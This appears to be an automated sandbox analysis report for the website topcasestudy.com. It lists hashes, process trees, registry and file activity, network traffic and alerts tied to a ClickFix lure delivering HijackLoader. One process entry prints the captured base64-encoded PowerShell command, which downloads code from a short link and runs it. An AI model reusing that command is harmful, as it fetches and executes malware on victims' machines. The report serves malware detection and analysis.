| URL: | topcasestudy.com |
| Full analysis: | https://app.any.run/tasks/b1fa1727-0f68-4497-853c-92abc0fdfe29 |
| Verdict: | Malicious activity |
| Threats: | HijackLoader is a modular malware acting as a vehicle for distributing different types of malicious software on compromised systems. It gained prominence during the summer of 2023 and has since been used in multiple attacks against organizations from various sectors, including hospitality businesses. |
| Analysis date: | May 31, 2025, 18:16:32 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 8C7AD18DD75A82866028F37BFF34B3B3 |
| SHA1: | 1A97A395CFACF43733BA2B4660C3AAB3EB6A2305 |
| SHA256: | C67DAEC05D44BD8495858F856CD88DA27854C77FD29B7B9445B01BE181F6ADBE |
| SSDEEP: | 3:0GEHW2wGKI:0GE22wGT |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 208 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_xpay_wallet.mojom.EdgeXPayWalletService --lang=en-US --service-sandbox-type=utility --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5456 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Version: 122.0.2365.59 Modules
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| 456 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=6696 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | msedge.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 632 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.3636 --no-appcompat-clear --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=5756 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 680 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5648 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 716 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3812 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:1 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 736 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=6668 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 856 | "C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" /ep bypass /e JABnACAAPQAgAHcAZwBlAHQAIAAtAHUAcgBpACAAJwBoAHQAdABwAHMAOgAvAC8AYgBpAHQAbAB5AC4AYwB4AC8ASABwAGYARQBYACcAOwAgACQAZwAuAGMAbwBuAHQAZQBuAHQAIAB8ACAAaQBlAFgA /w 1 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 1072 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=6784 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1676 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=5432 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| 1812 | "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --disable-quic --no-appcompat-clear --mojo-platform-channel-handle=4808 --field-trial-handle=2424,i,10846404479939077139,7056649208387092182,262144 --variations-seed-version /prefetch:8 | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | — | msedge.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Edge Exit code: 0 Version: 122.0.2365.59 Modules
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| (PID) Process: | (7680) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: 57767FD008952F00 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate\ClientStateMedium\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\LastWasDefault |
| Operation: | write | Name: | S-1-5-21-1693682860-607145093-2874071422-1001 |
Value: C9DA86D008952F00 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\459570 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {04887653-F81C-4D83-964C-7451E37464E7} | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | failed_count |
Value: 0 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 2 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\BLBeacon |
| Operation: | write | Name: | state |
Value: 1 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Edge\StabilityMetrics |
| Operation: | write | Name: | user_experience_metrics.stability.exited_cleanly |
Value: 0 | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\459570 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {B4548C08-9C73-402A-8757-5175DA5C87D9} | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\459570 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {37BEB275-142D-4EA4-85C6-E479E5CE3301} | |||
| (PID) Process: | (7680) msedge.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowProperties\459570 |
| Operation: | write | Name: | WindowTabManagerFileMappingId |
Value: {6701EA25-B1AC-441D-B462-97124DAE67B4} | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Local State~RF11f25c.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old~RF11f26b.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG.old~RF11f26b.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old~RF11f27b.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old~RF11f28b.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\PersistentOriginTrials\LOG.old | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old~RF11f28b.TMP | — | |
MD5:— | SHA256:— | |||
| 7680 | msedge.exe | C:\Users\admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db\LOG.old | — | |
MD5:— | SHA256:— | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.36:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2772 | msedge.exe | GET | 200 | 172.64.149.23:80 | http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
4040 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
7300 | svchost.exe | HEAD | 200 | 2.16.168.202:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/9530bc3d-28ec-4dca-8d8d-874a68b1b861?P1=1748974389&P2=404&P3=2&P4=PFCKKxLE99w%2fXZQeWKPR6fiJhCne%2fT6DCsnqv5c3yT3zHOkJTEZ68rLl8EpWFTW9aH%2fw0vjZX179shfeu%2fdCmg%3d%3d | unknown | — | — | whitelisted |
4040 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
7300 | svchost.exe | GET | 206 | 2.16.168.202:80 | http://msedge.b.tlu.dl.delivery.mp.microsoft.com/filestreamingservice/files/9530bc3d-28ec-4dca-8d8d-874a68b1b861?P1=1748974389&P2=404&P3=2&P4=PFCKKxLE99w%2fXZQeWKPR6fiJhCne%2fT6DCsnqv5c3yT3zHOkJTEZ68rLl8EpWFTW9aH%2fw0vjZX179shfeu%2fdCmg%3d%3d | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
6544 | svchost.exe | 20.190.160.65:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
5496 | MoUsoCoreWorker.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.36:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 2.23.181.156:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2772 | msedge.exe | 13.107.42.16:443 | config.edge.skype.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
7680 | msedge.exe | 239.255.255.250:1900 | — | — | — | whitelisted |
2772 | msedge.exe | 150.171.28.11:443 | edge.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
2772 | msedge.exe | 13.107.6.158:443 | business.bing.com | MICROSOFT-CORP-MSN-AS-BLOCK | US | whitelisted |
2772 | msedge.exe | 104.21.60.150:443 | topcasestudy.com | CLOUDFLARENET | — | unknown |
Domain | IP | Reputation |
|---|---|---|
login.live.com |
| whitelisted |
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
config.edge.skype.com |
| whitelisted |
topcasestudy.com |
| unknown |
edge.microsoft.com |
| whitelisted |
edge-mobile-static.azureedge.net |
| whitelisted |
business.bing.com |
| whitelisted |
PID | Process | Class | Message |
|---|---|---|---|
2772 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
2772 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |
2772 | msedge.exe | Exploit Kit Activity Detected | ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com) |
2772 | msedge.exe | Exploit Kit Activity Detected | ET EXPLOIT_KIT ClickFix Domain in DNS Lookup (clients .contology .com) |
2772 | msedge.exe | Exploit Kit Activity Detected | ET EXPLOIT_KIT ClickFix Domain in TLS SNI (clients .contology .com) |
2772 | msedge.exe | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |
2772 | msedge.exe | Misc activity | ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup |
2772 | msedge.exe | Misc activity | ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup |
2772 | msedge.exe | Misc activity | ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI |
2772 | msedge.exe | Not Suspicious Traffic | INFO [ANY.RUN] Cloudflare Network Error Logging (NEL) |